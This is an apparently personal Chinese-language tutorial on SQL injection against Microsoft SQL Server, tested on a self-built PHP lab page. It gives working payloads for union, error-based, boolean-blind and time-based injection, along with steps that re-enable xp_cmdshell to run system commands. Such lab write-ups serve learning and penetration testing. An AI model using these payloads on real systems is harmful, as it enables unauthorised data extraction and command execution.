基于SqlServer的SQL注入
前言
最近面试了几家实习,都问了基于SqlServer的SQL注入,所以今天想补一下基础。
SqlServer搭建
搭建SqlServer,我们的环境和版本如下:
- Windows Server 2012
- SqlServer 2012
这里的SqlServer环境搭建比较简单,可以参考该链接进行安装 https://blog.csdn.net/gengkui9897/article/details/89301494
SqlServer基础
Microsoft SQL Server(微软结构化查询语言服务器)也叫Mssql,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库。默认端口号为1433。
默认数据库
安装好SqlServer后,SqlServer数据库中会有6个默认的库,用于维护系统正常运行的系统数据库,其中包括四个系统数据库:master 、model 、msdb 、tempdb
,和两个实例数据库:ReportServer、ReportServerTempDB
系统数据库:
- master:记录了SqlServer实例的所有系统级消息,包括实例范围的元数据(如登录账号、端点、链接服务器和系统配置设置)
- msdb:供SqlServer代理服务调度报警和作业记录操作员的使用,保存关于调度报警、作业、操作员等信息
- model:SqlServer实例上创建的所有数据库的模板
- tempdb:临时数据库,用于保存临时对象或中间结果集,为数据库的排列等操作提供一个临时的工作空间
实例数据库:
- ReportServer:存储SSRS配置部分,报告定义,报告元数据,报告历史,缓存政策,快照,资源,安全设置,加密的数据,调度和提交数据,以及扩展信息
- ReportServerTempDB:存储中间处理产品,例如缓冲的报告、会话和执行数据等
数据库的组成
在SqlServer中,数据库是以文件的形式存在的,由文件和文件组组成
文件
数据库中的文件基本是分为以下三类:
- 主要数据文件:存放数据和数据库的初始化信息。每个数据库有且只能有一个主要数据文件
.mdf
结尾 - 次要数据文件:存放除了主要数据文件以外的所有数据文件。次要数据文件不是必须的,可以没有,也可以有多个
.ndf
结尾 - 事务日志文件:存放用户回复数据库的所有文件信息。每个数据库至少有一个日志文件,也可以有多个
.ldf
结尾
文件组
文件组是数据库文件一种逻辑管理单位,他将数据库文件分成不同的文件组,方便对文件的分配和管理,分为两种类型:
- 主文件组Primary:主要是数据文件和没有明确指派给其他文件组的文件
- 用户自定义的文件组:Create DataBase 或者 Alter DataBase语句,FileGroup关键字指定的文件组
设计原则
SqlServer数据库的设计原则如下
- 文件只能是一个文件组的成员
- 文件或文件组不能由多个数据库使用
- 日志不能作为文件组的一部分
SqlServer权限
sqlserver中的权限控制被分成服务器和数据库两个级别,一个服务器可以包含多个数据库。服务器级别权限可以让我们控制登录、服务器资源操作等等;数据库级别的权限可以让我们对具体的表\视图\数据等数据库内资源进行操作。
在SQL注入的漏洞挖掘中,我们关注的是sqlserver服务器级别的权限,可以把权限简单的归为以下三类:
- **sa权限:**即服务器角色sysadmin。拥有数据库操作,文件管理,命令执行,注册表读取等权限。SQLServer数据库的最高权限
- **db权限:**文件管理,数据库操作等权限 users-administrators
- **public权限:**数据库操作 guest-users
如果我们找到一个SqlServer数据库的注入点,可以通过以下命令判断当前用户的权限,查询语句返回1,说明是对应的权限。
1 | --判断是否是SA权限 |
T-SQL语言
在mysql数据库中使用sql语句对数据库进行操作,而在sqlserver数据库中使用的是Transaction-SQL语言,简称T-SQL。T-SQL是在SQL基础之上的一种数据库编程语言。
在这篇文章中,我们基于增删改查和创建数据库去简单了解T-SQL语言
创建数据库
用T-SQL去创建名为SQLDB的数据库,语句如下
1 | CREATE DATABASE SQLDB; |
如果希望对数据库的文件路径、大小、增长方式等进行配置,可以使用以下命令
1 | CREATE DATABASE SQLDB |
创建表
用T-SQL在SQLDB中新建表,新建表的时候要同时指明字段信息
1 | -- 切换到 SQLDB 数据库 |
增删改查
插入数据
使用Insert向该表中插入数据,可以使用以下命令:
1 | -- 切换到 SQLDB 数据库 |
删除数据
使用DELETE删除名为John Doe的员工,命令如下
1 | -- 删除名为 John Doe 的员工 |
修改数据
修改名为Sean Doe的员工的薪资,修改为6000.00
1 | -- 修改名为 Sean Doe 的员工薪资为 6000.00 |
查询数据
查询数据的所使用的语句基本结构如下
后续进行SQL注入时,使用查询语句的频率最高
1 | SELECT <列名1>, <列名2>, ... |
这里我们举个例子,可以使用以下 T-SQL 语句来查询名为 Sean Doe 的员工的邮箱和薪资信息
1 | SELECT Email, Salary |
SqlServer手工注入
MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库的功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。
对于MSSQL注入点,我们往往最关心的是这个注入点的权限问题,上面讲过,对于MSSQL有以下三个权限:
- sa(最高权限 System)
- db(文件管理、数据库操作等等 user-administrator)
- public(数据库操作权限 guest-users)
常见搭配为:asp/aspx + sqlserver
环境搭建
实验环境:- SqlServer 2012
- phpstudy 2018
- php7.3.4
首先在数据库中创建数据库,创建数据表和插入输入等操作
1 | -- 第一步:创建数据库 |
需要在phpstudy中添加sqlsrv扩展,下载链接https://learn.microsoft.com/en-us/sql/connect/php/release-notes-php-sql-driver?view=sql-server-ver15#previous-releases
因为我这里是php7.3.4版本,我们需要将这两个文件放到C:\phpstudy_pro\Extensions\php\php7.3.4nts\ext
目录下
并在php.ini文件中添加这两行配置
1 | extension=php_sqlsrv_63_nts.dll |
进入phpinfo界面后,可以看到我们的sqlsrv扩展就已经配置好了
除此之外,还需要去安装ODBC Driver,链接如下(64位电脑安装64位驱动即可)
https://files.cnblogs.com/files/wtcl/sqlserverodbc.zip
在网站目录下,创建一个进行sql查询的php文件,源码如下:
1 | <?php |
这样环境就配置好了,访问http://192.168.41.131:8080/SqlServer.php?id=101
常见注入函数和关键字
以下是在SQL注入中常用的函数与关键字
1 | //TOP 对标与MSSQL中的limit,想要输出一条信息 TOP 1 ,输出两条 TOP 2 |
注入手法
注入手法总的来说和Mysql差不多,差别在于一些函数的区别
联合查询
在MSSQL数据库中会存在一个系统自带库–>master,每个库都存在一个系统自带表–>sysobjects。该系统表中对于我们来说有三个字段有用:
- NAME:表名信息
- XTYPE: 代表 表的类型,S代表系统自带表,U代表用户创建表
- ID:用于连接syscolumns表
首先判断目标数据库是否是MSSQL数据库
1 | SqlServer.php?id=101 and exists(select * from sysobjects) --+ |
返回正常说明网站使用的数据库是MSSQL
联合注入中必要的一步就是判断字段长度,当order by 4
回显正常,但order by 5
报错时,表明字段长度是3
1 | SqlServer.php?id=101 order by 4 --+ 正常 |
接下来就是寻找字符串的回显位置(前面select语句查询为空时,才会回显联合查询的东西)
可以看到,四个回显位均可以利用(正常渗透中,回显位不固定)
1 | SqlServer.php?id=0 union select 1,2,3,4 --+ |
查询当前数据库的版本信息和名字
1 | SqlServer.php?id=0 union select 1,db_name(),3,@@version --+ |
此处需要注意,当联合注入的数据和前半部分的数据类型不匹配时,会出现报错
查询表名,将获取到的数据库名和.dbo.sysobjects
进行拼接,通过限制xtype
为u,使用TOP 1
进行限制,找出第一条查询到的用户创建表
1 | SqlServer.php?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u') --+ |
查询第二条表名数据时,可以使用and name != '第一次输出中的表名'
的方式
1 | SqlServer.php?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u' and name != 'STUDENTS') --+ |
获取列名,通过col_name、object_id等函数,遍历获取列名
1 | SqlServer.php?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),1) from sysobjects)--+ |
获取数据,这里获取StudentID字段的数据
1 | SqlServer.php?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS)--+ |
报错注入
上面我们说过,MSSQL数据库是强类型语言数据库,当类型不一样时,会报错,配合子查询即可实现报错注入。可以利用的函数有以下这些:
1 | convert() |
这里我们使用convert函数作为演示,convert函数语法如下
1 | CONVERT(data_type(length),data_to_be_converted,style) |
对于convert(int,@@version)
,convert函数会首先执行第二给参数指定的SQL查询,然后尝试将查询结果转为int类型。但是由于查询语句查询出来的结果时varchar类型,无法转为指定的int类型,因此convert函数会爆出一个SQLSever的错误消息,格式是"SQL查询结果"无法转换为"int"类型
,这样攻击者就可以利用报错来获取到SQL的查询结果
1 | SqlServer.php?id=101 and 1=convert(int,db_name()) |
除了使用函数以外,在两个不同类型的数据进行比较时,也会爆出SqlServer的错误信息,也是一种利用方法
1 | SqlServer.php?id=101 and 1=(select db_name()) |
首先查询数据库名
1 | //查询当前数据库 |
这里我们可以通过for xml path
,查询所有数据库的名字,FOR XML PATH('')
表示输出 XML,但不加任何标签。通常可以配合stuff()
使用,用来拼接多个值并去除第一个多余分隔符
1 | SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))-- |
爆出所有表名,但是其中存在一些系统表,可以通过xtype='U'
来过滤出用户表
1 | SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from sysobjects WHERE xtype = 'U' for xml path('')),1,0,'')) --+ |
接下来就是爆出Students
表的所有字段
1 | SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(name) from SchoolDB.sys.columns where object_id=object_id('Students') for xml path('')),1,0,'')) -- |
最后爆数据即可
1 | SqlServer.php?id=101 and 1=convert(int,stuff((select quotename(StudentID) from Students for xml path('')),1,0,''))-- |
剩下的报错函数原理也是相似的,读者可以自行查阅资料
布尔盲注
如果存在没有回显位 或者 不能直接通过页面返回内容查看数据库信息时,我们就可以通过布尔盲注去查询信息。页面会根据用户输入只回显true和flase,则可以通过构造逻辑判断来得到想要的信息
首先需要我们去判断是存在盲注,使用以下注入语句测试
1 | //正常回显 |
不管是对于数据库名、表名还是列名的盲注,流程都是相类似的
首先猜解数据库名的长度,正常回显时,说明我们的判断是正确的
1 | //回显正常 |
猜解数据库名字,
1 | //获取数据库名的第一个字符ascii码为83 |
后续的表名、列名和数据,只需要替换响应的SQL语句即可
延时注入
这里主要是使用WAITFOR DELAY '0:0:n'
这个语句表示要延迟几秒,他的作用就是等待待定时间,然后再执行后续语句。如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断网站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。
利用该注入语句,可以判断此处是否存在延时注入
观察浏览器f12,观察时间确认成功延时,代表存在漏洞
1 | SqlServer.php?id=101 WAITFOR DELAY '0:0:5' -- |
后续利用和布尔注入相类似,判断数据库名长度
1 | SqlServer.php?id=101 if (len((select db_name()))=8) WAITFOR DELAY '0:0:5' --+ |
然后一个字符一个字符进行猜解数据库名
1 | SqlServer.php?id=101 if (ascii(substring((select db_name()),1,1))=83) WAITFOR DELAY '0:0:5'-- |
后续只需要替换SQL语句查询点,就可以注入其他数据
SqlServer命令执行
MSSQL数据库中,存在xp_cmdshell
函数:SQL中运行系统命令行的系统存储过程,允许 SQL Server 以服务账户的身份执行 Windows 命令或外部程序。如果该命令开启时,我们就可以执行系统命令。
我们现在在判断了网站权限是sa
权限后,想要执行系统命令,就先要判断xp_cmdshell
是否存在,当页面正常返回时,说明该命令是开启的
1 | SqlServer.php?id=101 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') |
xp_cmdshell
默认在mssql2000中是开启的,在mssql2005后版本默认禁止。2005的xp_cmdshell
的权限一般是system
,而2008多数为nt authority\network service
但是如果有管理员sa
权限,则可以用sp_configure
重新开启
1 | 开启 xp_cmdshell: |
可以使用堆叠的方式进行执行命令,但是有些命令的执行需要较高权限
1 | SqlServer.php?id=101 ;exec master..xp_cmdshell "命令" |
通过运行whoami
,可以看到sqlserver的权限为nt service\mssqlserver